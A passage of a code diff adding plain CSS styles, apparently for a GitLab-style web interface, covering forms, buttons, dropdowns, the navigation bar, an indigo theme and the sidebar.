+}
+.table {
+ width: 100%;
+ margin-bottom: 0.5rem;
+ color: #303030;
+}
+.table th,
+.table td {
+ padding: 0.75rem;
+ vertical-align: top;
+ border-top: 1px solid #dbdbdb;
+}
+.form-control, .search form {
+ display: block;
+ width: 100%;
+ height: 34px;
+ padding: 0.375rem 0.75rem;
+ font-size: 0.875rem;
+ font-weight: 400;
+ line-height: 1.5;
+ color: #303030;
+ background-color: #fff;
+ background-clip: padding-box;
+ border: 1px solid #dbdbdb;
+ border-radius: 0.25rem;
+}
+
+@media (prefers-reduced-motion: reduce) {
+}
+.form-control:-moz-focusring, .search form:-moz-focusring {
+ color: transparent;
+ text-shadow: 0 0 0 #303030;
+}
+.form-control::placeholder, .search form::placeholder {
+ color: #5e5e5e;
+ opacity: 1;
+}
+.form-control:disabled, .search form:disabled {
+ background-color: #fafafa;
+ opacity: 1;
+}
+textarea.form-control {
+ height: auto;
+}
+.form-group {
+ margin-bottom: 1rem;
+}
+.form-inline {
+ display: flex;
+ flex-flow: row wrap;
+ align-items: center;
+}
+
+@media (min-width: 576px) {
+ .form-inline label {
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ margin-bottom: 0;
+ }
+ .form-inline .form-group {
+ display: flex;
+ flex: 0 0 auto;
+ flex-flow: row wrap;
+ align-items: center;
+ margin-bottom: 0;
+ }
+ .form-inline .form-control, .form-inline .search form, .search .form-inline form {
+ display: inline-block;
+ width: auto;
+ vertical-align: middle;
+ }
+}
+.btn {
+ display: inline-block;
+ font-weight: 400;
+ color: #303030;
+ text-align: center;
+ vertical-align: middle;
+ cursor: pointer;
+ user-select: none;
+ background-color: transparent;
+ border: 1px solid transparent;
+ padding: 0.375rem 0.75rem;
+ font-size: 1rem;
+ line-height: 20px;
+ border-radius: 0.25rem;
+}
+
+@media (prefers-reduced-motion: reduce) {
+}
+.btn.disabled, .btn:disabled {
+ opacity: 0.65;
+}
+a.btn.disabled,
+fieldset:disabled a.btn {
+ pointer-events: none;
+}
+.btn-success {
+ color: #fff;
+ background-color: #108548;
+ border-color: #108548;
+}
+.btn-success.disabled, .btn-success:disabled {
+ color: #fff;
+ background-color: #108548;
+ border-color: #108548;
+}
+.btn-success:not(:disabled):not(.disabled):active, .btn-success:not(:disabled):not(.disabled).active,
+.show > .btn-success.dropdown-menu-toggle {
+ color: #fff;
+ background-color: #0b572f;
+ border-color: #094c29;
+}
+ .login-page input[type='submit'] {
+ display: block;
+ width: 100%;
+}
+ .login-page input[type='submit'] + input[type='submit'] {
+ margin-top: 0.5rem;
+}
+ .login-page input[type="submit"][type='submit'],
+.login-page input[type="reset"][type='submit'],
+.login-page input[type="button"][type='submit'] {
+ width: 100%;
+}
+.collapse:not(.show) {
+ display: none;
+}
+
+.dropdown {
+ position: relative;
+}
+ .dropdown-menu-toggle {
+ white-space: nowrap;
+}
+ .dropdown-menu-toggle::after {
+ display: inline-block;
+ margin-left: 0.255em;
+ vertical-align: 0.255em;
+ content: "";
+ border-top: 0.3em solid;
+ border-right: 0.3em solid transparent;
+ border-bottom: 0;
+ border-left: 0.3em solid transparent;
+}
+ .dropdown-menu-toggle:empty::after {
+ margin-left: 0;
+}
+.dropdown-menu {
+ position: absolute;
+ top: 100%;
+ left: 0;
+ z-index: 1000;
+ display: none;
+ float: left;
+ min-width: 10rem;
+ padding: 0.5rem 0;
+ margin: 0.125rem 0 0;
+ font-size: 1rem;
+ color: #303030;
+ text-align: left;
+ list-style: none;
+ background-color: #fff;
+ background-clip: padding-box;
+ border: 1px solid rgba(0, 0, 0, 0.15);
+ border-radius: 0.25rem;
+}
+.dropdown-menu-right {
+ right: 0;
+ left: auto;
+}
+ .divider {
+ height: 0;
+ margin: 4px 0;
+ overflow: hidden;
+ border-top: 1px solid #dbdbdb;
+}
+.dropdown-menu.show {
+ display: block;
+}
+.nav {
+ display: flex;
+ flex-wrap: wrap;
+ padding-left: 0;
+ margin-bottom: 0;
+ list-style: none;
+}
+.nav-link {
+ display: block;
+ padding: 0.5rem 1rem;
+}
+.nav-link.disabled {
+ color: #5e5e5e;
+ pointer-events: none;
+ cursor: default;
+}
+.nav-tabs {
+ border-bottom: 1px solid #999;
+}
+.nav-tabs .nav-item {
+ margin-bottom: -1px;
+}
+.nav-tabs .nav-link {
+ border: 1px solid transparent;
+ border-top-left-radius: 0.25rem;
+ border-top-right-radius: 0.25rem;
+}
+.nav-tabs .nav-link.disabled {
+ color: #5e5e5e;
+ background-color: transparent;
+ border-color: transparent;
+}
+.nav-tabs .nav-link.active,
+.nav-tabs .nav-item.show .nav-link {
+ color: #525252;
+ background-color: #fff;
+ border-color: #999 #999 #fff;
+}
+.nav-tabs .dropdown-menu {
+ margin-top: -1px;
+ border-top-left-radius: 0;
+ border-top-right-radius: 0;
+}
+.tab-content > .tab-pane {
+ display: none;
+}
+.tab-content > .active {
+ display: block;
+}
+.navbar {
+ position: relative;
+ display: flex;
+ flex-wrap: wrap;
+ align-items: center;
+ justify-content: space-between;
+ padding: 0.25rem 0.5rem;
+}
+.navbar .container,
+.navbar .container-fluid {
+ display: flex;
+ flex-wrap: wrap;
+ align-items: center;
+ justify-content: space-between;
+}
+.navbar-nav {
+ display: flex;
+ flex-direction: column;
+ padding-left: 0;
+ margin-bottom: 0;
+ list-style: none;
+}
+.navbar-nav .nav-link {
+ padding-right: 0;
+ padding-left: 0;
+}
+.navbar-nav .dropdown-menu {
+ position: static;
+ float: none;
+}
+.navbar-collapse {
+ flex-basis: 100%;
+ flex-grow: 1;
+ align-items: center;
+}
+.navbar-toggler {
+ padding: 0.25rem 0.75rem;
+ font-size: 1.25rem;
+ line-height: 1;
+ background-color: transparent;
+ border: 1px solid transparent;
+ border-radius: 0.25rem;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-expand-sm > .container,
+ .navbar-expand-sm > .container-fluid {
+ padding-right: 0;
+ padding-left: 0;
+ }
+}
+
+@media (min-width: 576px) {
+ .navbar-expand-sm {
+ flex-flow: row nowrap;
+ justify-content: flex-start;
+ }
+ .navbar-expand-sm .navbar-nav {
+ flex-direction: row;
+ }
+ .navbar-expand-sm .navbar-nav .dropdown-menu {
+ position: absolute;
+ }
+ .navbar-expand-sm .navbar-nav .nav-link {
+ padding-right: 0.5rem;
+ padding-left: 0.5rem;
+ }
+ .navbar-expand-sm > .container,
+ .navbar-expand-sm > .container-fluid {
+ flex-wrap: nowrap;
+ }
+ .navbar-expand-sm .navbar-collapse {
+ display: flex !important;
+ flex-basis: auto;
+ }
+ .navbar-expand-sm .navbar-toggler {
+ display: none;
+ }
+}
+.card {
+ position: relative;
+ display: flex;
+ flex-direction: column;
+ min-width: 0;
+ word-wrap: break-word;
+ background-color: #fff;
+ background-clip: border-box;
+ border: 1px solid #dbdbdb;
+ border-radius: 0.25rem;
+}
+.card > hr {
+ margin-right: 0;
+ margin-left: 0;
+}
+.badge {
+ display: inline-block;
+ padding: 0.25em 0.4em;
+ font-size: 75%;
+ font-weight: 600;
+ line-height: 1;
+ text-align: center;
+ white-space: nowrap;
+ vertical-align: baseline;
+ border-radius: 0.25rem;
+}
+
+@media (prefers-reduced-motion: reduce) {
+}
+.badge:empty {
+ display: none;
+}
+.btn .badge {
+ position: relative;
+ top: -1px;
+}
+.badge-pill {
+ padding-right: 0.6em;
+ padding-left: 0.6em;
+ border-radius: 10rem;
+}
+.media {
+ display: flex;
+ align-items: flex-start;
+}
+.close {
+ float: right;
+ font-size: 1.5rem;
+ font-weight: 600;
+ line-height: 1;
+ color: #000;
+ text-shadow: 0 1px 0 #fff;
+ opacity: .5;
+}
+button.close {
+ padding: 0;
+ background-color: transparent;
+ border: 0;
+ appearance: none;
+}
+a.close.disabled {
+ pointer-events: none;
+}
+.modal-dialog {
+ position: relative;
+ width: auto;
+ margin: 0.5rem;
+ pointer-events: none;
+}
+
+@media (min-width: 576px) {
+ .modal-dialog {
+ max-width: 500px;
+ margin: 1.75rem auto;
+ }
+}
+.bg-transparent {
+ background-color: transparent !important;
+}
+.border {
+ border: 1px solid #dbdbdb !important;
+}
+.border-top {
+ border-top: 1px solid #dbdbdb !important;
+}
+.border-right {
+ border-right: 1px solid #dbdbdb !important;
+}
+.border-bottom {
+ border-bottom: 1px solid #dbdbdb !important;
+}
+.border-left {
+ border-left: 1px solid #dbdbdb !important;
+}
+.rounded {
+ border-radius: 0.25rem !important;
+}
+.clearfix::after {
+ display: block;
+ clear: both;
+ content: "";
+}
+.d-none {
+ display: none !important;
+}
+.d-inline-block {
+ display: inline-block !important;
+}
+.d-block {
+ display: block !important;
+}
+.d-flex {
+ display: flex !important;
+}
+
+@media (min-width: 576px) {
+ .d-sm-none {
+ display: none !important;
+ }
+}
+
+@media (min-width: 768px) {
+ .d-md-block {
+ display: block !important;
+ }
+}
+
+@media (min-width: 992px) {
+ .d-lg-none {
+ display: none !important;
+ }
+ .d-lg-block {
+ display: block !important;
+ }
+}
+
+@media (min-width: 1200px) {
+ .d-xl-block {
+ display: block !important;
+ }
+}
+.flex-wrap {
+ flex-wrap: wrap !important;
+}
+.justify-content-between {
+ justify-content: space-between !important;
+}
+.align-items-center {
+ align-items: center !important;
+}
+.float-right {
+ float: right !important;
+}
+.fixed-top {
+ position: fixed;
+ top: 0;
+ right: 0;
+ left: 0;
+ z-index: 1030;
+}
+.sr-only {
+ position: absolute;
+ width: 1px;
+ height: 1px;
+ padding: 0;
+ margin: -1px;
+ overflow: hidden;
+ clip: rect(0, 0, 0, 0);
+ white-space: nowrap;
+ border: 0;
+}
+.mt-3 {
+ margin-top: 1rem !important;
+}
+.mb-3 {
+ margin-bottom: 1rem !important;
+}
+.m-auto {
+ margin: auto !important;
+}
+
+@media (min-width: 576px) {
+ .mt-sm-0 {
+ margin-top: 0 !important;
+ }
+}
+.text-nowrap {
+ white-space: nowrap !important;
+}
+.text-left {
+ text-align: left !important;
+}
+.font-weight-normal {
+ font-weight: 400 !important;
+}
+.visible {
+ visibility: visible !important;
+}
+.form-control.focus, .search form.focus {
+ color: #303030;
+ background-color: #fff;
+ border-color: #80bdff;
+ outline: 0;
+ box-shadow: 0 0 0 0.2rem rgba(0, 123, 255, 0.25);
+}
+input[type="color"].form-control {
+ height: 34px;
+ padding: 0.125rem 0.25rem;
+}
+input[type="color"].form-control:disabled {
+ background-color: #666;
+ opacity: 0.65;
+}
+.gl-badge {
+ display: inline-flex;
+ align-items: center;
+ font-size: 0.75rem;
+ font-weight: 400;
+ line-height: 1rem;
+ padding-top: 0.25rem;
+ padding-bottom: 0.25rem;
+ padding-left: 0.5rem;
+ padding-right: 0.5rem;
+ outline: none;
+}
+body, .form-control, .search form,
+.search form {
+ font-size: 0.875rem;
+}
+button,
+html [type='button'],
+[type='reset'],
+[type='submit'],
+[role='button'] {
+ cursor: pointer;
+}
+h1,
+.h1,
+h2,
+.h2,
+h3,
+.h3 {
+ margin-top: 20px;
+ margin-bottom: 10px;
+}
+input[type='file'] {
+ line-height: 1;
+}
+
+strong {
+ font-weight: bold;
+}
+a {
+ color: #1068bf;
+}
+hr {
+ overflow: hidden;
+}
+code {
+ padding: 2px 4px;
+ color: #1f1f1f;
+ background-color: #f0f0f0;
+ border-radius: 4px;
+}
+.code > code {
+ background-color: inherit;
+ padding: unset;
+}
+table {
+ border-spacing: 0;
+}
+.hidden {
+ display: none !important;
+ visibility: hidden !important;
+}
+.hide {
+ display: none;
+}
+ .dropdown-menu-toggle::after {
+ display: none;
+}
+.badge:not(.gl-badge),
+.label {
+ padding: 4px 5px;
+ font-size: 12px;
+ font-style: normal;
+ font-weight: 400;
+ display: inline-block;
+}
+.nav-tabs {
+ border-bottom: 0;
+}
+.nav-tabs .nav-link {
+ border-top: 0;
+ border-left: 0;
+ border-right: 0;
+}
+.nav-tabs .nav-item {
+ margin-bottom: 0;
+}
+pre code {
+ white-space: pre-wrap;
+}
+input[type="color"].form-control {
+ height: 34px;
+}
+.toggle-sidebar-button .collapse-text,
+.toggle-sidebar-button .icon-chevron-double-lg-left,
+.toggle-sidebar-button .icon-chevron-double-lg-right {
+ color: #666;
+}
+svg {
+ vertical-align: baseline;
+}
+html {
+ overflow-y: scroll;
+}
+body {
+ text-decoration-skip: ink;
+}
+body.navless {
+ background-color: #fff !important;
+}
+.content-wrapper {
+ margin-top: 40px;
+ padding-bottom: 100px;
+}
+.container {
+ padding-top: 0;
+ z-index: 5;
+}
+.container .content {
+ margin: 0;
+}
+
+@media (max-width: 575.98px) {
+ .container .content {
+ margin-top: 20px;
+ }
+}
+
+@media (max-width: 575.98px) {
+ .container .container .title {
+ padding-left: 15px !important;
+ }
+}
+.navless-container {
+ margin-top: 40px;
+ padding-top: 32px;
+}
+.btn {
+ border-radius: 4px;
+ font-size: 0.875rem;
+ font-weight: 400;
+ padding: 6px 10px;
+ background-color: #fff;
+ border-color: #dbdbdb;
+ color: #303030;
+ color: #303030;
+ white-space: nowrap;
+}
+.btn:active, .btn.active {
+ box-shadow: rgba(0, 0, 0, 0.16);
+ background-color: #eaeaea;
+ border-color: #e3e3e3;
+ color: #303030;
+}
+.btn.btn-success, .btn.btn-register {
+ background-color: #108548;
+ border-color: #217645;
+ color: #fff;
+}
+.btn.btn-success:active, .btn.btn-success.active, .btn.btn-register:active, .btn.btn-register.active {
+ box-shadow: rgba(0, 0, 0, 0.16);
+ background-color: #24663b;
+ border-color: #0d532a;
+ color: #fff;
+}
+.btn svg {
+ height: 15px;
+ width: 15px;
+}
+.btn svg:not(:last-child),
+.btn .fa:not(:last-child) {
+ margin-right: 5px;
+}
+ .login-page input[type='submit'] {
+ width: 100%;
+ margin: 0;
+ margin-bottom: 15px;
+}
+ .login-page input.btn[type='submit'] {
+ padding: 6px 0;
+}
+.badge.badge-pill:not(.gl-badge) {
+ font-weight: 400;
+ background-color: rgba(0, 0, 0, 0.07);
+ color: #525252;
+ vertical-align: baseline;
+}
+.hint {
+ font-style: italic;
+ color: #bfbfbf;
+}
+.bold {
+ font-weight: 600;
+}
+.tab-content {
+ overflow: visible;
+}
+pre.wrap {
+ word-break: break-word;
+ white-space: pre-wrap;
+}
+hr {
+ margin: 24px 0;
+ border-top: 1px solid #eee;
+}
+table a code {
+ position: relative;
+ top: -2px;
+ margin-right: 3px;
+}
+.loading {
+ margin: 20px auto;
+ height: 40px;
+ color: #525252;
+ font-size: 32px;
+ text-align: center;
+}
+.highlight {
+ text-shadow: none;
+}
+.chart {
+ overflow: hidden;
+ height: 220px;
+}
+.footer-links {
+ margin-bottom: 20px;
+}
+.footer-links a {
+ margin-right: 15px;
+}
+.break-word {
+ word-wrap: break-word;
+}
+.append-bottom-20 {
+ margin-bottom: 20px;
+}
+.center {
+ text-align: center;
+}
+.block {
+ display: block;
+}
+.flex {
+ display: flex;
+}
+.flex-grow {
+ flex-grow: 1;
+}
+.dropdown {
+ position: relative;
+}
+.show.dropdown .dropdown-menu {
+ transform: translateY(0);
+ display: block;
+ min-height: 40px;
+ max-height: 312px;
+ overflow-y: auto;
+}
+
+@media (max-width: 575.98px) {
+ .show.dropdown .dropdown-menu {
+ width: 100%;
+ }
+}
+ .show.dropdown .dropdown-menu-toggle,
+.show.dropdown .dropdown-menu-toggle {
+ border-color: #c4c4c4;
+}
+.show.dropdown [data-toggle='dropdown'] {
+ outline: 0;
+}
+.search-input-container .dropdown-menu {
+ margin-top: 11px;
+}
+ .dropdown-menu-toggle {
+ padding: 6px 8px 6px 10px;
+ background-color: #fff;
+ color: #303030;
+ font-size: 14px;
+ text-align: left;
+ border: 1px solid #dbdbdb;
+ border-radius: 0.25rem;
+ white-space: nowrap;
+}
+ .no-outline.dropdown-menu-toggle {
+ outline: 0;
+}
+ .dropdown-menu-toggle .fa {
+ color: #c4c4c4;
+}
+.dropdown-menu-toggle {
+ padding-right: 25px;
+ position: relative;
+ width: 160px;
+ text-overflow: ellipsis;
+ overflow: hidden;
+}
+.dropdown-menu-toggle .fa {
+ position: absolute;
+}
+.dropdown-menu {
+ display: none;
+ position: absolute;
+ width: auto;
+ top: 100%;
+ z-index: 300;
+ min-width: 240px;
+ max-width: 500px;
+ margin-top: 4px;
+ margin-bottom: 24px;
+ font-size: 14px;
+ font-weight: 400;
+ padding: 8px 0;
+ background-color: #fff;
+ border: 1px solid #dbdbdb;
+ border-radius: 0.25rem;
+ box-shadow: 0 2px 4px rgba(0, 0, 0, 0.1);
+}
+.dropdown-menu ul {
+ margin: 0;
+ padding: 0;
+}
+.dropdown-menu li {
+ display: block;
+ text-align: left;
+ list-style: none;
+ padding: 0 1px;
+}
+.dropdown-menu li > a,
+.dropdown-menu li button {
+ background: transparent;
+ border: 0;
+ border-radius: 0;
+ box-shadow: none;
+ display: block;
+ font-weight: 400;
+ position: relative;
+ padding: 8px 12px;
+ color: #303030;
+ line-height: 16px;
+ white-space: normal;
+ overflow: hidden;
+ text-align: left;
+ width: 100%;
+}
+.dropdown-menu .divider {
+ height: 1px;
+ margin: 0.25rem 0;
+ padding: 0;
+ background-color: #dbdbdb;
+}
+.dropdown-menu .badge.badge-pill + span:not(.badge.badge-pill) {
+ margin-right: 40px;
+}
+.dropdown-select {
+ width: 300px;
+}
+
+@media (max-width: 767.98px) {
+ .dropdown-select {
+ width: 100%;
+ }
+}
+.dropdown-content {
+ max-height: 252px;
+ overflow-y: auto;
+}
+.dropdown-loading {
+ position: absolute;
+ top: 0;
+ right: 0;
+ bottom: 0;
+ left: 0;
+ display: none;
+ z-index: 9;
+ background-color: rgba(255, 255, 255, 0.6);
+ font-size: 28px;
+}
+.dropdown-loading .fa {
+ position: absolute;
+ top: 50%;
+ left: 50%;
+ margin-top: -14px;
+ margin-left: -14px;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab li.dropdown {
+ position: static;
+ }
+ header.navbar-gitlab .dropdown .dropdown-menu {
+ width: 100%;
+ min-width: 100%;
+ }
+}
+
+@media (max-width: 767.98px) {
+ .dropdown-menu-toggle {
+ width: 100%;
+ }
+}
+.flash-container {
+ margin: 0;
+ margin-bottom: 16px;
+ font-size: 14px;
+ position: relative;
+ z-index: 1;
+}
+.flash-container.sticky {
+ position: sticky;
+ position: -webkit-sticky;
+ top: 48px;
+ z-index: 251;
+}
+.flash-container.flash-container-page {
+ margin-bottom: 0;
+}
+.flash-container:empty {
+ margin: 0;
+}
+textarea {
+ resize: vertical;
+}
+input {
+ border-radius: 0.25rem;
+ color: #303030;
+ background-color: #fff;
+}
+label {
+ font-weight: 600;
+}
+label.label-bold {
+ font-weight: 600;
+}
+.form-control, .search form {
+ border-radius: 4px;
+ padding: 6px 10px;
+}
+.form-control::placeholder, .search form::placeholder {
+ color: #868686;
+}
+.gl-field-error {
+ color: #dd2b0e;
+ font-size: 0.875rem;
+}
+.gl-show-field-errors .form-control:not(textarea), .gl-show-field-errors .search form:not(textarea), .search .gl-show-field-errors form:not(textarea) {
+ height: 34px;
+}
+.gl-show-field-errors .gl-field-hint {
+ color: #303030;
+}
+
+@media (max-width: 575.98px) {
+ .remember-me .remember-me-checkbox {
+ margin-top: 0;
+ }
+}
+body.ui-indigo .navbar-gitlab {
+ background-color: #292961;
+}
+body.ui-indigo .navbar-gitlab .navbar-collapse {
+ color: #d1d1f0;
+}
+body.ui-indigo .navbar-gitlab .container-fluid .navbar-toggler {
+ border-left: 1px solid #6868b9;
+}
+body.ui-indigo .navbar-gitlab .container-fluid .navbar-toggler svg {
+ fill: #d1d1f0;
+}
+body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.active > a,
+body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.active > button, body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.dropdown.show > a,
+body.ui-indigo .navbar-gitlab .navbar-sub-nav > li.dropdown.show > button,
+body.ui-indigo .navbar-gitlab .navbar-nav > li.active > a,
+body.ui-indigo .navbar-gitlab .navbar-nav > li.active > button,
+body.ui-indigo .navbar-gitlab .navbar-nav > li.dropdown.show > a,
+body.ui-indigo .navbar-gitlab .navbar-nav > li.dropdown.show > button {
+ color: #292961;
+ background-color: #fff;
+}
+body.ui-indigo .navbar-gitlab .navbar-sub-nav {
+ color: #d1d1f0;
+}
+body.ui-indigo .navbar-gitlab .nav > li {
+ color: #d1d1f0;
+}
+body.ui-indigo .navbar-gitlab .nav > li > a.header-user-dropdown-toggle .header-user-avatar {
+ border-color: #d1d1f0;
+}
+body.ui-indigo .navbar-gitlab .nav > li.active > a,
+body.ui-indigo .navbar-gitlab .nav > li.dropdown.show > a {
+ color: #292961;
+ background-color: #fff;
+}
+body.ui-indigo .search form {
+ background-color: rgba(209, 209, 240, 0.2);
+}
+body.ui-indigo .search .search-input::placeholder {
+ color: rgba(209, 209, 240, 0.8);
+}
+body.ui-indigo .search .search-input-wrap .search-icon,
+body.ui-indigo .search .search-input-wrap .clear-icon {
+ fill: rgba(209, 209, 240, 0.8);
+}
+body.ui-indigo .nav-sidebar li.active {
+ box-shadow: inset 4px 0 0 #4b4ba3;
+}
+body.ui-indigo .nav-sidebar li.active > a {
+ color: #393982;
+}
+body.ui-indigo .nav-sidebar li.active .nav-icon-container svg {
+ fill: #393982;
+}
+body.ui-indigo .sidebar-top-level-items > li.active .badge.badge-pill {
+ color: #393982;
+}
+body.ui-indigo .nav-links li.active a,
+body.ui-indigo .nav-links li a.active {
+ border-bottom: 2px solid #6666c4;
+}
+body.ui-indigo .nav-links li.active a .badge.badge-pill,
+body.ui-indigo .nav-links li a.active .badge.badge-pill {
+ font-weight: 600;
+}
+.navbar-gitlab {
+ padding: 0 16px;
+ z-index: 1000;
+ margin-bottom: 0;
+ min-height: 40px;
+ border: 0;
+ border-bottom: 1px solid #dbdbdb;
+ position: fixed;
+ top: 0;
+ left: 0;
+ right: 0;
+ border-radius: 0;
+}
+.navbar-gitlab .logo-text {
+ line-height: initial;
+}
+.navbar-gitlab .logo-text svg {
+ width: 55px;
+ height: 14px;
+ margin: 0;
+ fill: #fff;
+}
+.navbar-gitlab .close-icon {
+ display: none;
+}
+.navbar-gitlab .header-content {
+ width: 100%;
+ display: flex;
+ justify-content: space-between;
+ position: relative;
+ min-height: 40px;
+ padding-left: 0;
+}
+.navbar-gitlab .header-content .title-container {
+ display: flex;
+ align-items: stretch;
+ flex: 1 1 auto;
+ padding-top: 0;
+ overflow: visible;
+}
+.navbar-gitlab .header-content .title {
+ padding-right: 0;
+ color: currentColor;
+ display: flex;
+ position: relative;
+ margin: 0;
+ font-size: 18px;
+ vertical-align: top;
+ white-space: nowrap;
+}
+.navbar-gitlab .header-content .title img {
+ height: 28px;
+}
+.navbar-gitlab .header-content .title img + .logo-text {
+ margin-left: 8px;
+}
+.navbar-gitlab .header-content .title.wrap {
+ white-space: normal;
+}
+.navbar-gitlab .header-content .title a {
+ display: flex;
+ align-items: center;
+ padding: 2px 8px;
+ margin: 5px 2px 5px -8px;
+ border-radius: 4px;
+}
+.navbar-gitlab .header-content .dropdown.open > a {
+ border-bottom-color: #fff;
+}
+.navbar-gitlab .header-content .navbar-collapse > ul.nav > li:not(.d-none) {
+ margin: 0 2px;
+}
+.navbar-gitlab .navbar-collapse {
+ flex: 0 0 auto;
+ border-top: 0;
+ padding: 0;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .navbar-collapse {
+ flex: 1 1 auto;
+ }
+}
+.navbar-gitlab .navbar-collapse .nav {
+ flex-wrap: nowrap;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .navbar-collapse .nav > li:not(.d-none) a {
+ margin-left: 0;
+ }
+}
+.navbar-gitlab .container-fluid {
+ padding: 0;
+}
+.navbar-gitlab .container-fluid .user-counter svg {
+ margin-right: 3px;
+}
+.navbar-gitlab .container-fluid .navbar-toggler {
+ position: relative;
+ right: -10px;
+ border-radius: 0;
+ min-width: 45px;
+ padding: 0;
+ margin: 8px -7px 8px 0;
+ font-size: 14px;
+ text-align: center;
+ color: currentColor;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .container-fluid .navbar-nav {
+ display: flex;
+ padding-right: 10px;
+ flex-direction: row;
+ }
+}
+.navbar-gitlab .container-fluid .navbar-nav li .badge.badge-pill {
+ box-shadow: none;
+ font-weight: 600;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .container-fluid .nav > li.header-user {
+ padding-left: 10px;
+ }
+}
+.navbar-gitlab .container-fluid .nav > li > a {
+ will-change: color;
+ margin: 4px 0;
+ padding: 6px 8px;
+ height: 32px;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .container-fluid .nav > li > a {
+ padding: 0;
+ }
+}
+.navbar-gitlab .container-fluid .nav > li > a.header-user-dropdown-toggle {
+ margin-left: 2px;
+}
+.navbar-gitlab .container-fluid .nav > li > a.header-user-dropdown-toggle .header-user-avatar {
+ margin-right: 0;
+}
+.navbar-gitlab .container-fluid .nav > li .header-new-dropdown-toggle {
+ margin-right: 0;
+}
+.navbar-sub-nav > li > a,
+.navbar-sub-nav > li > button,
+.navbar-nav > li > a,
+.navbar-nav > li > button {
+ display: flex;
+ align-items: center;
+ justify-content: center;
+ padding: 6px 8px;
+ margin: 4px 2px;
+ font-size: 12px;
+ color: currentColor;
+ border-radius: 4px;
+ height: 32px;
+ font-weight: 600;
+}
+.navbar-sub-nav > li > button,
+.navbar-nav > li > button {
+ background: transparent;
+ border: 0;
+}
+.navbar-sub-nav .dropdown-menu,
+.navbar-nav .dropdown-menu {
+ position: absolute;
+}
+.navbar-sub-nav {
+ display: flex;
+ margin: 0 0 0 6px;
+}
+.caret-down,
+.btn .caret-down {
+ top: 0;
+ height: 11px;
+ width: 11px;
+ margin-left: 4px;
+ fill: currentColor;
+}
+.header-user .dropdown-menu,
+.header-new .dropdown-menu {
+ margin-top: 4px;
+}
+.btn-sign-in {
+ background-color: #ebebfa;
+ color: #292961;
+ font-weight: 600;
+ line-height: 18px;
+ margin: 4px 0 4px 2px;
+}
+.title-container .badge.badge-pill,
+.navbar-nav .badge.badge-pill {
+ position: inherit;
+ font-weight: 400;
+ margin-left: -6px;
+ font-size: 11px;
+ color: #fff;
+ padding: 0 5px;
+ line-height: 12px;
+ border-radius: 7px;
+ box-shadow: 0 1px 0 rgba(76, 78, 84, 0.2);
+}
+.title-container .badge.badge-pill.green-badge,
+.navbar-nav .badge.badge-pill.green-badge {
+ background-color: #108548;
+}
+.title-container .badge.badge-pill.merge-requests-count,
+.navbar-nav .badge.badge-pill.merge-requests-count {
+ background-color: #de7e00;
+}
+.title-container .badge.badge-pill.todos-count,
+.navbar-nav .badge.badge-pill.todos-count {
+ background-color: #1f75cb;
+}
+.title-container .canary-badge .badge,
+.navbar-nav .canary-badge .badge {
+ font-size: 12px;
+ line-height: 16px;
+ padding: 0 0.5rem;
+}
+
+@media (max-width: 575.98px) {
+ .navbar-gitlab .container-fluid {
+ font-size: 18px;
+ }
+ .navbar-gitlab .container-fluid .navbar-nav {
+ table-layout: fixed;
+ width: 100%;
+ margin: 0;
+ text-align: right;
+ }
+ .navbar-gitlab .container-fluid .navbar-collapse {
+ margin-left: -8px;
+ margin-right: -10px;
+ }
+ .navbar-gitlab .container-fluid .navbar-collapse .nav > li:not(.d-none) {
+ flex: 1;
+ }
+ .header-user-dropdown-toggle {
+ text-align: center;
+ }
+ .header-user-avatar {
+ float: none;
+ }
+}
+.header-user.show .dropdown-menu {
+ margin-top: 4px;
+ color: #303030;
+ left: auto;
+ max-height: 445px;
+}
+.header-user.show .dropdown-menu svg {
+ vertical-align: text-top;
+}
+.header-user-avatar {
+ float: left;
+ margin-right: 5px;
+ border-radius: 50%;
+ border: 1px solid #f5f5f5;
+}
+.navbar-empty {
+ justify-content: center;
+ height: 40px;
+ background: #fff;
+ border-bottom: 1px solid #f0f0f0;
+}
+
+@media (max-width: 575.98px) {
+ .nav-links > li > a .badge.badge-pill {
+ display: none;
+ }
+}
+
+@media (max-width: 575.98px) {
+ .nav-links > li > a {
+ margin-right: 3px;
+ }
+}
+.media {
+ display: flex;
+ align-items: flex-start;
+}
+.card {
+ margin-bottom: 16px;
+}
+.nav-links:not(.quick-links) {
+ display: flex;
+ padding: 0;
+ margin: 0;
+ list-style: none;
+ height: auto;
+ border-bottom: 1px solid #dbdbdb;
+}
+.content-wrapper {
+ width: 100%;
+}
+.content-wrapper .container-fluid {
+ padding: 0 16px;
+}
+
+@media (min-width: 768px) {
+ .page-with-contextual-sidebar {
+ padding-left: 50px;
+ }
+}
+
+@media (min-width: 1200px) {
+ .page-with-contextual-sidebar {
+ padding-left: 220px;
+ }
+}
+.context-header {
+ position: relative;
+ margin-right: 2px;
+ width: 220px;
+}
+.context-header > a,
+.context-header > button {
+ font-weight: 600;
+ display: flex;
+ width: 100%;
+ align-items: center;
+ padding: 10px 16px 10px 10px;
+ color: #303030;
+ background-color: transparent;
+ border: 0;
+ text-align: left;
+}
+.context-header .avatar-container {
+ flex: 0 0 40px;
+ background-color: #fff;
+}
+.context-header .sidebar-context-title {
+ overflow: hidden;
+ text-overflow: ellipsis;
+}
+.context-header .sidebar-context-title.text-secondary {
+ font-weight: normal;
+ font-size: 0.8em;
+}
+.nav-sidebar {
+ position: fixed;
+ z-index: 600;
+ width: 220px;
+ top: 40px;
+ bottom: 0;
+ left: 0;
+ background-color: #fafafa;
+ box-shadow: inset -1px 0 0 #dbdbdb;
+ transform: translate3d(0, 0, 0);
+}
+
+@media (min-width: 576px) and (max-width: 576px) {
+ .nav-sidebar:not(.sidebar-collapsed-desktop) {
+ box-shadow: inset -1px 0 0 #dbdbdb, 2px 1px 3px rgba(0, 0, 0, 0.1);
+ }
+}
+.nav-sidebar.sidebar-collapsed-desktop {
+ width: 50px;
+}
+.nav-sidebar.sidebar-collapsed-desktop .nav-sidebar-inner-scroll {
+ overflow-x: hidden;
+}
